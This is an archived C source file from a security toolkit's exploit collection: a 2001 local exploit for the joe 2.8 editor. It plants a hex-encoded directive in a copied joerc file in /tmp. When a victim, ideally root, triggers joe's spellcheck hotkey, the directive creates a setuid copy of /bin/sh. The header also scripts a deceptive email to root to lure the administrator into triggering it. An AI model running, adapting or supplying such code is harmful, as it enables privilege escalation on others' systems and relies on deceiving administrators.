home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / joe28.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  166 lines

  1. /*  joe 2.8 local exploit by fides
  2.  
  3.     pr0pz;-  essell | dionysus | valarius | acharon | yuklop | m0rt
  4.               opt1k | il | ahriman
  5.  
  6.     gives shell owned by user of joe
  7.  
  8.  
  9.     Vulnerable:  joe 2.8 - Immunix 6.2/7.0beta / slack 7.1 / redhat 6.x/5.2
  10.                            NetBSD 1.5/1.4.3 / mandrake 6.x/7.x / FreeBSD 4.2/3.5.1
  11.                            Connectiva 4.x-6.0
  12.  
  13.     Tested on:   FreeBSD 4.2-Release / joe 2.8
  14.  
  15.     ** Note:     Requires ispell **
  16.  
  17.  
  18.     ===-- usage --===  [for the clueless]
  19.  
  20.     $ gcc -o joe28 joe28.c
  21.     $ ./joe28
  22.       (blah blah)
  23.     $ echo "la la" >/tmp/weird_file
  24.     $ echo "hey, i found a wierd file in /tmp. When i try to spellcheck it with joe
  25.       just a ctrl-[ l , something happens and the terminal display corrupts.. check it out."
  26.       | mail root
  27.     $ exit
  28.  
  29.     (24 hours pass)
  30.  
  31.     $ /tmp/suid
  32.     #
  33.  
  34.  
  35.     f1d3s@lineone.net
  36. */
  37.  
  38.  
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <unistd.h>
  42. #include <string.h>
  43.  
  44. #define MAGIC_OFFSET    0x2c64  /*  \                                               */
  45. #define JUMP_OFFSET     0x79    /*  |  ____   these work for v2.8, however changes  */
  46. #define PICKUP_OFFSET   0x2e42  /*  |         may be in order for future versions.  */
  47. #define END_OFFSET      0x4476  /*  /                                               */
  48.  
  49. char JOERC_PATH     [] = "/usr/local/lib/joerc";
  50. char WRITABLE    [] = "/tmp";   /* must be world-writable */
  51.  
  52. /* our evil malformed directive */
  53. char c0de[] = "\x3a\x64\x65\x66\x20\x73\x70\x65\x6c\x6c\x66\x69\x6c\x65\x20\x66\x69\x6c\x74\x2c"
  54.               "\x22\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x75\x69"
  55.               "\x64\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x73"
  56.               "\x75\x69\x64\x22\x2c\x72\x74\x6e\x2c\x72\x65\x74\x79\x70\x65";
  57.  
  58. void banner()
  59. {
  60.     printf("\njoe 2.8 local exploit by fides [f1d3s@lineone.net]\n\n");
  61. }
  62.  
  63. int exists(char *file)
  64. {
  65.     FILE *fp;
  66.     fp = fopen(file, "r");
  67.     if(fp == NULL) return 1;
  68.     else fclose(fp);
  69.     return 0;
  70. }
  71.  
  72. unsigned long filesize(FILE *stream)
  73. {
  74.     unsigned long curpos, length;
  75.  
  76.     curpos = ftell(stream);
  77.     fseek(stream, 0L, SEEK_END);
  78.     length = ftell(stream);
  79.     fseek(stream, curpos, SEEK_SET);
  80.     return length;
  81. }
  82.  
  83. int main()
  84. {
  85.     char *joerc;
  86.     FILE *joe, *buf;
  87.     unsigned long i;
  88.     unsigned char c;
  89.  
  90.     banner();
  91.  
  92.     if(!(joerc = malloc(sizeof(JOERC_PATH)+14))) {
  93.         printf("Couldn't allocate memory.\n");
  94.         return -1;
  95.     }
  96.  
  97.     if((exists(JOERC_PATH) == 1)) {
  98.         printf("Can't read %s\n\nExploit failed.\n", JOERC_PATH);
  99.         return -1;
  100.     }
  101.  
  102.     if(WRITABLE[strlen(WRITABLE)-1] != '/') {
  103.         WRITABLE[strlen(WRITABLE)+1] = 0;
  104.         WRITABLE[strlen(WRITABLE)] = '/';
  105.     }
  106.  
  107.     printf("Using world-writable dir:    %s\n", WRITABLE);
  108.  
  109.     printf("Grabbing %s ... \n",JOERC_PATH);
  110.  
  111.     joerc[0]='c';
  112.     joerc[1]='p';
  113.     joerc[2]=' ';
  114.     joerc[3]=0;
  115.     strncat(joerc, JOERC_PATH, sizeof(JOERC_PATH));
  116.     strcat(joerc, " ");
  117.     strcat(joerc, WRITABLE);
  118.     strcat(joerc, ".joerc");
  119.     system(joerc);
  120.  
  121.     printf("Inserting shellcode ... \n");
  122.  
  123.     sprintf(joerc, "%s.joerc", WRITABLE);
  124.     if( (joe = fopen(joerc, "a")) == NULL) {
  125.         printf("\nExploit failed: couldn't write to /tmp/joerc\n\n");
  126.         return -1;
  127.     }
  128.  
  129.     fclose(joe);
  130.  
  131.     if( (buf = fopen("/tmp/.tmp", "w")) == NULL) {
  132.         printf("\nExploit failed: couldn't write to /tmp/.tmp\n\n");
  133.         return -1;
  134.     }
  135.  
  136.     joe = fopen(joerc, "r");
  137.  
  138.     for(i=0; i<filesize(joe); i++)
  139.         fputc(getc(joe), buf);
  140.  
  141.     fclose(joe); fclose(buf);
  142.  
  143.     buf = fopen("/tmp/.tmp", "r");
  144.     joe = fopen("/tmp/.joerc","w");
  145.  
  146.     for(i=0; i<MAGIC_OFFSET; i++)
  147.         putc(getc(buf), joe);
  148.  
  149.     fprintf(joe, "%s\n", c0de);
  150.  
  151.     for(i=0; i<JUMP_OFFSET; i++)
  152.         getc(buf);
  153.  
  154.     for(i=PICKUP_OFFSET; i<END_OFFSET; i++)
  155.         putc(getc(buf), joe);
  156.  
  157.     fclose(buf); fclose(joe);
  158.     remove("/tmp/.tmp");
  159.  
  160.     printf("\n\nNow type:     cd %s ; joe\n\n", WRITABLE);
  161.     printf("and press the hotkey ^[ l\n\n");
  162.     printf("/tmp/suid should appear, with the uid of the user running joe.\n\n");
  163.  
  164.     return 0;
  165. }
  166. /*                   www.hack.co.za  [20 march 2001]*/